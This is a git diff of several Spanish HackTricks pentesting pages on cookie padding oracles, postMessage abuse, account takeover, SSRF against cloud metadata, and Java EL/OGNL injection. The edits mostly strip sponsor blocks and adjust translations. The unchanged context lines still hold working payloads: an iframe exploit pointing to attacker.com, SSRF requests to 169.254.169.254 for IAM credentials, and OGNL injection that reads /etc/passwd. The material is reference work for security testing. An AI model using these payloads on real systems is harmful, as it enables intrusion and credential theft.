* Intentar **fuerza bruta al nombre de usuario**. Si la cookie se guarda solo como un método de autenticación para tu nombre de usuario, entonces puedes crear una cuenta con el nombre de usuario "**Bmin**" y **fuerza bruta** cada **bit** de tu cookie porque una de las cookies que intentarás será la que pertenece a "**admin**".
|
||||
* Intentar **Padding** **Oracle** (puedes descifrar el contenido de la cookie). Usa **padbuster**.
|
||||
|
||||
**Padding Oracle - Ejemplos de Padbuster**
|
||||
```bash
|
||||
|
@ -232,7 +225,7 @@ padbuster http://web.com/index.php u7bvLewln6PJPSAbMb5pFfnCHSEd6olf 8 -cookies a
|
|||
padBuster http://web.com/home.jsp?UID=7B216A634951170FF851D6CC68FC9537858795A28ED4AAC6
|
||||
7B216A634951170FF851D6CC68FC9537858795A28ED4AAC6 8 -encoding 2
|
||||
```
|
||||
Padbuster hará varios intentos y te preguntará cuál condición es la condición de error (la que no es válida).
|
||||
Padbuster hará varios intentos y te preguntará cuál es la condición de error (la que no es válida).
|
||||
|
||||
Luego comenzará a descifrar la cookie (puede tardar varios minutos)
|
||||
|
||||
|
@ -270,11 +263,6 @@ Debería haber un patrón (con el tamaño de un bloque utilizado). Entonces, sab
|
|||
* [https://blog.ankursundara.com/cookie-bugs/](https://blog.ankursundara.com/cookie-bugs/)
|
||||
* [https://www.linkedin.com/posts/rickey-martin-24533653\_100daysofhacking-penetrationtester-ethicalhacking-activity-7016286424526180352-bwDd](https://www.linkedin.com/posts/rickey-martin-24533653\_100daysofhacking-penetrationtester-ethicalhacking-activity-7016286424526180352-bwDd)
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
|
|
|
@ -17,19 +17,6 @@ Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" d
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) es un motor de búsqueda alimentado por la **dark-web** que ofrece funcionalidades **gratuitas** para verificar si una empresa o sus clientes han sido **comprometidos** por **malwares robadores**.
|
||||
|
||||
Su objetivo principal de WhiteIntel es combatir la toma de cuentas y los ataques de ransomware resultantes de malware que roba información.
|
||||
|
||||
Puedes visitar su sitio web y probar su motor de forma **gratuita** en:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
***
|
||||
|
||||
## Enviar **PostMessage**
|
||||
|
||||
|
@ -65,7 +52,7 @@ Si se utiliza el **comodín**, **los mensajes podrían ser enviados a cualquier
|
|||
|
||||
### Ataque a iframe y comodín en **targetOrigin**
|
||||
|
||||
Como se explica en [**este informe**](https://blog.geekycat.in/google-vrp-hijacking-your-screenshots/), si encuentras una página que puede ser **iframed** (sin protección `X-Frame-Header`) y que está **enviando mensajes sensibles** a través de **postMessage** usando un **comodín** (\*), puedes **modificar** el **origen** del **iframe** y **filtrar** el **mensaje sensible** a un dominio controlado por ti.\
|
||||
Como se explica en [**este informe**](https://blog.geekycat.in/google-vrp-hijacking-your-screenshots/), si encuentras una página que puede ser **iframed** (sin protección `X-Frame-Header`) y que está **enviando mensajes sensibles** a través de **postMessage** utilizando un **comodín** (\*), puedes **modificar** el **origen** del **iframe** y **filtrar** el **mensaje sensible** a un dominio controlado por ti.\
|
||||
Ten en cuenta que si la página puede ser iframed pero el **targetOrigin** está **configurado a una URL y no a un comodín**, este **truco no funcionará**.
|
||||
```markup
|
||||
<html>
|
||||
|
@ -83,7 +70,7 @@ window.frames[0].frame[0][2].location="https://attacker.com/exploit.html";
|
|||
```
|
||||
## explotación de addEventListener
|
||||
|
||||
**`addEventListener`** es la función utilizada por JS para declarar la función que **espera `postMessages`**.\
|
||||
**`addEventListener`** es la función utilizada por JS para declarar la función que está **esperando `postMessages`**.\
|
||||
Se utilizará un código similar al siguiente:
|
||||
```javascript
|
||||
window.addEventListener("message", (event) => {
|
||||
|
@ -126,7 +113,7 @@ Para **encontrar oyentes de eventos** en la página actual puedes:
|
|||
* La función **`match()`**, similar a `search()`, procesa regex. Si la regex está mal estructurada, podría ser propensa a eludir.
|
||||
* La función **`escapeHtml`** está destinada a sanitizar entradas escapando caracteres. Sin embargo, no crea un nuevo objeto escapado, sino que sobrescribe las propiedades del objeto existente. Este comportamiento puede ser explotado. En particular, si un objeto puede ser manipulado de tal manera que su propiedad controlada no reconozca `hasOwnProperty`, el `escapeHtml` no funcionará como se espera. Esto se demuestra en los ejemplos a continuación:
|
||||
|
||||
* Fallo Esperado:
|
||||
* Fallo esperado:
|
||||
|
||||
```javascript
|
||||
result = u({
|
||||
|
@ -134,7 +121,7 @@ message: "'\"<b>\\"
|
|||
});
|
||||
result.message // "'"<b>\"
|
||||
```
|
||||
* Eludiendo el escape:
|
||||
* Eludiendo la escapatoria:
|
||||
|
||||
```javascript
|
||||
result = u(new Error("'\"<b>\\"));
|
||||
|
@ -158,7 +145,7 @@ Para más información **lee**:
|
|||
[bypassing-sop-with-iframes-1.md](bypassing-sop-with-iframes-1.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### Eludiendo e.source
|
||||
### Eludir e.source
|
||||
|
||||
Es posible verificar si el mensaje provino de la misma ventana en la que el script está escuchando (especialmente interesante para **Scripts de Contenido de extensiones de navegador** para verificar si el mensaje fue enviado desde la misma página):
|
||||
```javascript
|
||||
|
@ -235,17 +222,6 @@ Para **más información**:
|
|||
* [https://dev.to/karanbamal/how-to-spot-and-exploit-postmessage-vulnerablities-36cd](https://dev.to/karanbamal/how-to-spot-and-exploit-postmessage-vulnerablities-36cd)
|
||||
* Para practicar: [https://github.com/yavolo/eventlistener-xss-recon](https://github.com/yavolo/eventlistener-xss-recon)
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) es un motor de búsqueda alimentado por la **dark-web** que ofrece funcionalidades **gratuitas** para verificar si una empresa o sus clientes han sido **comprometidos** por **malwares robadores**.
|
||||
|
||||
Su objetivo principal de WhiteIntel es combatir la toma de cuentas y los ataques de ransomware resultantes de malware que roba información.
|
||||
|
||||
Puedes visitar su sitio web y probar su motor de forma **gratuita** en:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
|
|
|
@ -15,19 +15,6 @@ Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" d
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) es un motor de búsqueda alimentado por la **dark-web** que ofrece funcionalidades **gratuitas** para verificar si una empresa o sus clientes han sido **comprometidos** por **malwares robadores**.
|
||||
|
||||
Su objetivo principal es combatir la toma de control de cuentas y ataques de ransomware resultantes de malware que roba información.
|
||||
|
||||
Puedes visitar su sitio web y probar su motor de forma **gratuita** en:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
***
|
||||
|
||||
## Toma de Control de Registro
|
||||
|
||||
|
@ -37,7 +24,7 @@ Puedes visitar su sitio web y probar su motor de forma **gratuita** en:
|
|||
* Verifica variando el correo electrónico:
|
||||
* mayúsculas
|
||||
* \+1@
|
||||
* agrega algún punto en el correo
|
||||
* añade algún punto en el correo
|
||||
* caracteres especiales en el nombre del correo (%00, %09, %20)
|
||||
* Pon caracteres en negro después del correo: `test@test.com a`
|
||||
* victim@gmail.com@attacker.com
|
||||
|
@ -124,7 +111,7 @@ email=victim@mail.com|hacker@mail.com
|
|||
|
||||
### Token de Restablecimiento de Contraseña Débil <a href="#weak-password-reset-token" id="weak-password-reset-token"></a>
|
||||
|
||||
El token de restablecimiento de contraseña debe generarse aleatoriamente y ser único cada vez.\
|
||||
El token de restablecimiento de contraseña debe ser generado aleatoriamente y ser único cada vez.\
|
||||
Intente determinar si el token expira o si siempre es el mismo; en algunos casos, el algoritmo de generación es débil y puede ser adivinado. Las siguientes variables podrían ser utilizadas por el algoritmo.
|
||||
|
||||
* Marca de tiempo
|
||||
|
@ -151,7 +138,7 @@ Intente determinar si el token expira o si siempre es el mismo; en algunos casos
|
|||
3. Use el token enviado a su correo electrónico y restablezca la contraseña de la víctima.
|
||||
4. Conéctese a la cuenta de la víctima con la nueva contraseña.
|
||||
|
||||
La plataforma CTFd fue vulnerable a este ataque.\
|
||||
La plataforma CTFd era vulnerable a este ataque.\
|
||||
Ver: [CVE-2020-7245](https://nvd.nist.gov/vuln/detail/CVE-2020-7245)
|
||||
|
||||
### Toma de Control de Cuenta a Través de Cross Site Scripting <a href="#account-takeover-via-cross-site-scripting" id="account-takeover-via-cross-site-scripting"></a>
|
||||
|
@ -178,7 +165,7 @@ Content-Length: 83
|
|||
GET http://something.burpcollaborator.net HTTP/1.1
|
||||
X: X
|
||||
```
|
||||
Hackerone reports exploiting this bug\
|
||||
Hackerone informa sobre la explotación de este error\
|
||||
\* [https://hackerone.com/reports/737140](https://hackerone.com/reports/737140)\
|
||||
\* [https://hackerone.com/reports/771666](https://hackerone.com/reports/771666)
|
||||
|
||||
|
@ -189,7 +176,7 @@ Hackerone reports exploiting this bug\
|
|||
|
||||
### Toma de Control de Cuenta a través de JWT <a href="#account-takeover-via-jwt" id="account-takeover-via-jwt"></a>
|
||||
|
||||
JSON Web Token podría ser utilizado para autenticar a un usuario.
|
||||
JSON Web Token puede ser utilizado para autenticar a un usuario.
|
||||
|
||||
* Editar el JWT con otro ID de Usuario / Correo Electrónico
|
||||
* Verificar la firma débil del JWT
|
||||
|
@ -202,17 +189,6 @@ JSON Web Token podría ser utilizado para autenticar a un usuario.
|
|||
|
||||
* [https://salmonsec.com/cheatsheet/account\_takeover](https://salmonsec.com/cheatsheet/account\_takeover)
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) es un motor de búsqueda alimentado por la **dark-web** que ofrece funcionalidades **gratuitas** para verificar si una empresa o sus clientes han sido **comprometidos** por **malware robador**.
|
||||
|
||||
Su objetivo principal de WhiteIntel es combatir la toma de control de cuentas y ataques de ransomware resultantes de malware que roba información.
|
||||
|
||||
Puedes visitar su sitio web y probar su motor de forma **gratuita** en:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
|
|
|
@ -15,21 +15,13 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
## AWS
|
||||
|
||||
### Abusando de SSRF en el entorno de AWS EC2
|
||||
|
||||
**El endpoint de metadatos** se puede acceder desde cualquier máquina EC2 y ofrece información interesante sobre ella. Es accesible en la url: `http://169.254.169.254` ([información sobre los metadatos aquí](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html)).
|
||||
|
||||
Hay **2 versiones** del endpoint de metadatos. La **primera** permite **acceder** al endpoint a través de **solicitudes GET** (por lo que cualquier **SSRF puede explotarlo**). Para la **versión 2**, [IMDSv2](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/configuring-instance-metadata-service.html), necesitas solicitar un **token** enviando una **solicitud PUT** con un **encabezado HTTP** y luego usar ese token para acceder a los metadatos con otro encabezado HTTP (por lo que es **más complicado abusar** con un SSRF).
|
||||
Hay **2 versiones** del endpoint de metadatos. La **primera** permite **acceder** al endpoint a través de solicitudes **GET** (por lo que cualquier **SSRF puede explotarlo**). Para la **versión 2**, [IMDSv2](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/configuring-instance-metadata-service.html), necesitas solicitar un **token** enviando una solicitud **PUT** con un **encabezado HTTP** y luego usar ese token para acceder a los metadatos con otro encabezado HTTP (por lo que es **más complicado de abusar** con un SSRF).
|
||||
|
||||
{% hint style="danger" %}
|
||||
Ten en cuenta que si la instancia EC2 está aplicando IMDSv2, [**según la documentación**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-metadata-v2-how-it-works.html), la **respuesta de la solicitud PUT** tendrá un **límite de salto de 1**, haciendo imposible acceder a los metadatos de EC2 desde un contenedor dentro de la instancia EC2.
|
||||
|
@ -101,7 +93,7 @@ Como un **ejemplo expuesto de credenciales IAM disponibles públicamente**, pued
|
|||
|
||||
También puedes verificar **credenciales de seguridad EC2 públicas** en: [http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance](http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance)
|
||||
|
||||
Luego puedes tomar **esas credenciales y usarlas con el AWS CLI**. Esto te permitirá hacer **cualquier cosa que ese rol tenga permiso** para hacer.
|
||||
Luego puedes tomar **esas credenciales y usarlas con el AWS CLI**. Esto te permitirá hacer **cualquier cosa que ese rol tenga permisos** para hacer.
|
||||
|
||||
Para aprovechar las nuevas credenciales, necesitarás crear un nuevo perfil de AWS como este:
|
||||
```
|
||||
|
@ -138,7 +130,7 @@ El **nombre** de las **variables de entorno interesantes** son:
|
|||
* `AWS_SECRET_ACCESS_KEY`
|
||||
* `AWS_ACCES_KEY_ID`
|
||||
|
||||
Además, además de las credenciales de IAM, las funciones de Lambda también tienen **datos de evento que se pasan a la función cuando se inicia**. Estos datos están disponibles para la función a través de la [interfaz de tiempo de ejecución](https://docs.aws.amazon.com/lambda/latest/dg/runtimes-api.html) y podrían contener **información** **sensible** (como dentro de las **stageVariables**). A diferencia de las credenciales de IAM, estos datos son accesibles a través de SSRF estándar en **`http://localhost:9001/2018-06-01/runtime/invocation/next`**.
|
||||
Además, además de las credenciales de IAM, las funciones de Lambda también tienen **datos de eventos que se pasan a la función cuando se inicia**. Estos datos están disponibles para la función a través de la [interfaz de tiempo de ejecución](https://docs.aws.amazon.com/lambda/latest/dg/runtimes-api.html) y podrían contener **información** **sensible** (como dentro de las **stageVariables**). A diferencia de las credenciales de IAM, estos datos son accesibles a través de SSRF estándar en **`http://localhost:9001/2018-06-01/runtime/invocation/next`**.
|
||||
|
||||
{% hint style="warning" %}
|
||||
Tenga en cuenta que las **credenciales de lambda** están dentro de las **variables de entorno**. Por lo tanto, si el **rastreo de pila** del código lambda imprime variables de entorno, es posible **exfiltrarlas provocando un error** en la aplicación.
|
||||
|
@ -560,27 +552,21 @@ Los metadatos de Docker se pueden acceder localmente, con ejemplos dados para la
|
|||
|
||||
## Rancher
|
||||
|
||||
Los metadatos de Rancher se pueden acceder usando:
|
||||
Los metadatos de Rancher se pueden acceder utilizando:
|
||||
|
||||
* `curl http://rancher-metadata/<version>/<path>`
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Apoya a HackTricks</summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* ¡Consulta los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -15,14 +15,6 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
### Localhost
|
||||
```bash
|
||||
# Localhost
|
||||
|
@ -170,7 +162,7 @@ https://metadata/expected/path/..%2f..%2f/vulnerable/path
|
|||
```
|
||||
### Fuzzing
|
||||
|
||||
La herramienta [**recollapse**](https://github.com/0xacb/recollapse) puede generar variaciones a partir de una entrada dada para intentar eludir la regex utilizada. Consulta [**esta publicación**](https://0xacb.com/2022/11/21/recollapse/) también para más información.
|
||||
La herramienta [**recollapse**](https://github.com/0xacb/recollapse) puede generar variaciones a partir de una entrada dada para intentar eludir la expresión regular utilizada. Consulta [**esta publicación**](https://0xacb.com/2022/11/21/recollapse/) también para más información.
|
||||
|
||||
### Bypass via redirect
|
||||
|
||||
|
@ -199,9 +191,9 @@ HTTPServer(("", int(sys.argv[1])), Redirect).serve_forever()
|
|||
```
|
||||
## Tricks Explicados
|
||||
|
||||
### Truco de Barra Inversa
|
||||
### Truco de la Barra Inversa
|
||||
|
||||
El _truco de barra inversa_ explota una diferencia entre el [WHATWG URL Standard](https://url.spec.whatwg.org/#url-parsing) y [RFC3986](https://datatracker.ietf.org/doc/html/rfc3986#appendix-B). Mientras que RFC3986 es un marco general para URIs, WHATWG es específico para URLs web y es adoptado por navegadores modernos. La distinción clave radica en el reconocimiento de la barra inversa (`\`) por parte del estándar WHATWG como equivalente a la barra diagonal (`/`), lo que impacta cómo se analizan las URLs, marcando específicamente la transición del nombre de host al camino en una URL.
|
||||
El _truco de la barra inversa_ explota una diferencia entre el [WHATWG URL Standard](https://url.spec.whatwg.org/#url-parsing) y [RFC3986](https://datatracker.ietf.org/doc/html/rfc3986#appendix-B). Mientras que RFC3986 es un marco general para URIs, WHATWG es específico para URLs web y es adoptado por los navegadores modernos. La distinción clave radica en el reconocimiento de la barra inversa (`\`) por parte del estándar WHATWG como equivalente a la barra diagonal (`/`), lo que impacta cómo se analizan las URLs, marcando específicamente la transición del nombre de host al camino en una URL.
|
||||
|
||||
![https://bugs.xdavidhu.me/assets/posts/2021-12-30-fixing-the-unfixable-story-of-a-google-cloud-ssrf/spec\_difference.jpg](https://bugs.xdavidhu.me/assets/posts/2021-12-30-fixing-the-unfixable-story-of-a-google-cloud-ssrf/spec\_difference.jpg)
|
||||
|
||||
|
@ -216,11 +208,6 @@ imagen de [https://claroty.com/2022/01/10/blog-research-exploiting-url-parsing-c
|
|||
* [https://as745591.medium.com/albussec-penetration-list-08-server-side-request-forgery-ssrf-sample-90267f095d25](https://as745591.medium.com/albussec-penetration-list-08-server-side-request-forgery-ssrf-sample-90267f095d25)
|
||||
* [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Request%20Forgery/README.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Request%20Forgery/README.md)
|
||||
|
||||
**Grupo de Seguridad Try Hard**
|
||||
|
||||
<figure><img src="../../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
|
@ -232,7 +219,7 @@ Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" d
|
|||
|
||||
* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -15,25 +15,11 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) es un motor de búsqueda alimentado por la **dark-web** que ofrece funcionalidades **gratuitas** para verificar si una empresa o sus clientes han sido **comprometidos** por **malwares robadores**.
|
||||
|
||||
Su objetivo principal de WhiteIntel es combatir la toma de cuentas y los ataques de ransomware resultantes de malware que roba información.
|
||||
|
||||
Puedes visitar su sitio web y probar su motor de forma **gratuita** en:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
***
|
||||
|
||||
## Bsic Info
|
||||
## Información Básica
|
||||
|
||||
Expression Language (EL) es integral en JavaEE para conectar la capa de presentación (por ejemplo, páginas web) y la lógica de aplicación (por ejemplo, beans gestionados), permitiendo su interacción. Se utiliza predominantemente en:
|
||||
|
||||
* **JavaServer Faces (JSF)**: Para vincular componentes de UI a datos/acciones de backend.
|
||||
* **JavaServer Faces (JSF)**: Para vincular componentes de UI a datos/acciones del backend.
|
||||
* **JavaServer Pages (JSP)**: Para acceso y manipulación de datos dentro de páginas JSP.
|
||||
* **Contexts and Dependency Injection for Java EE (CDI)**: Para facilitar la interacción de la capa web con beans gestionados.
|
||||
|
||||
|
@ -48,7 +34,7 @@ EL está presente en tecnologías JavaEE, entornos independientes, y es reconoci
|
|||
Dependiendo de la **versión de EL**, algunas **características** pueden estar **activadas** o **desactivadas** y generalmente algunos **caracteres** pueden estar **prohibidos**.
|
||||
{% endhint %}
|
||||
|
||||
## Basic Example
|
||||
## Ejemplo Básico
|
||||
|
||||
(Puedes encontrar otro tutorial interesante sobre EL en [https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=sponsblog/exploiting-ognl-injection-in-apache-struts/](https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=sponsblog/exploiting-ognl-injection-in-apache-struts/))
|
||||
|
||||
|
@ -140,7 +126,7 @@ https://www.example.url/?vulnerableParameter=PRE-${%23_memberAccess%3d%40ognl.Og
|
|||
#Blind detection vector (sleep during 10 seconds)
|
||||
https://www.example.url/?vulnerableParameter=${%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23kzxs%3d%40java.lang.Thread%40sleep(10000)%2c1%3f%23xx%3a%23request.toString}
|
||||
```
|
||||
### Inclusión de Archivos Remotos
|
||||
### Inclusión Remota de Archivos
|
||||
```bash
|
||||
https://www.example.url/?vulnerableParameter=${%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23wwww=new%20java.io.File(%23parameters.INJPARAM[0]),%23pppp=new%20java.io.FileInputStream(%23wwww),%23qqqq=new%20java.lang.Long(%23wwww.length()),%23tttt=new%20byte[%23qqqq.intValue()],%23llll=%23pppp.read(%23tttt),%23pppp.close(),%23kzxs%3d%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2c%23kzxs.print(new+java.lang.String(%23tttt))%2c%23kzxs.close(),1%3f%23xx%3a%23request.toString}&INJPARAM=%2fetc%2fpasswd
|
||||
```
|
||||
|
@ -232,40 +218,28 @@ ${user}
|
|||
${password}
|
||||
${employee.FirstName}
|
||||
```
|
||||
## WAF Bypass
|
||||
## Bypass de WAF
|
||||
|
||||
Check [https://h1pmnh.github.io/post/writeup\_spring\_el\_waf\_bypass/](https://h1pmnh.github.io/post/writeup\_spring\_el\_waf\_bypass/)
|
||||
|
||||
## References
|
||||
## Referencias
|
||||
|
||||
* [https://techblog.mediaservice.net/2016/10/exploiting-ognl-injection/](https://techblog.mediaservice.net/2016/10/exploiting-ognl-injection/)
|
||||
* [https://www.exploit-db.com/docs/english/46303-remote-code-execution-with-el-injection-vulnerabilities.pdf](https://www.exploit-db.com/docs/english/46303-remote-code-execution-with-el-injection-vulnerabilities.pdf)
|
||||
* [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Template%20Injection/README.md#tools](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Template%20Injection/README.md#tools)
|
||||
* [https://github.com/marcin33/hacking/blob/master/payloads/spel-injections.txt](https://github.com/marcin33/hacking/blob/master/payloads/spel-injections.txt)
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) es un motor de búsqueda alimentado por la **dark-web** que ofrece funcionalidades **gratuitas** para verificar si una empresa o sus clientes han sido **comprometidos** por **malware robador**.
|
||||
|
||||
Su objetivo principal de WhiteIntel es combatir la toma de cuentas y los ataques de ransomware resultantes de malware que roba información.
|
||||
|
||||
Puedes visitar su sitio web y probar su motor de forma **gratuita** en:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
